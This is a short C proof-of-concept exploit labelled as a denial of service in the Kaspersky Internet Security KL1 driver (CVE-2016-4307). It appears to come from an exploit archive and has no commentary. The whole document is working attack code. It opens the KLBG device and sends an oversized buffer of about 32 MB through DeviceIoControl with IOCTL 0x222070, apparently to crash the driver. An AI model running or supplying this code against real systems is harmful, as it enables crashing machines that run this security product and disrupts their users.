Kaspersky Internet Security KL1 Driver Signal Handler Denial of Service(CVE-2016-4307)

                                                #include <stdio.h>
#include <windows.h>

int main(void)
{
    HANDLE hDevice;
    char dev[255];
    DWORD   out;
    char    outBuff[1024];


    memset(outBuff, 'B', sizeof(outBuff));
    _snprintf(dev, sizeof(dev), "\\\\.\\KLBG");
    printf("Trying to open device: %s \r\n", dev);

    hDevice = CreateFile(dev, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE)
    {
        printf("Error: unable to open device, error = 0x%08x\r\n", GetLastError());
        return 0;
    }

    printf("Device opened, handle = 0x%08x \r\n", hDevice);
    #define M_SIZE      0x1ffffff // 1024*1024*10
    BYTE *mem = (BYTE*)VirtualAlloc(0, M_SIZE, MEM_COMMIT, PAGE_READWRITE);
    printf("mem_ptr = 0x%08x \r\n", mem);
    if (!mem) exit(0);

    memset(mem, 0xCC, M_SIZE);

    BOOL st = DeviceIoControl(hDevice, 0x222070, (LPVOID)mem, M_SIZE,
        (LPVOID)&outBuff,
        sizeof(outBuff), &out,
        NULL);


    return 0;
}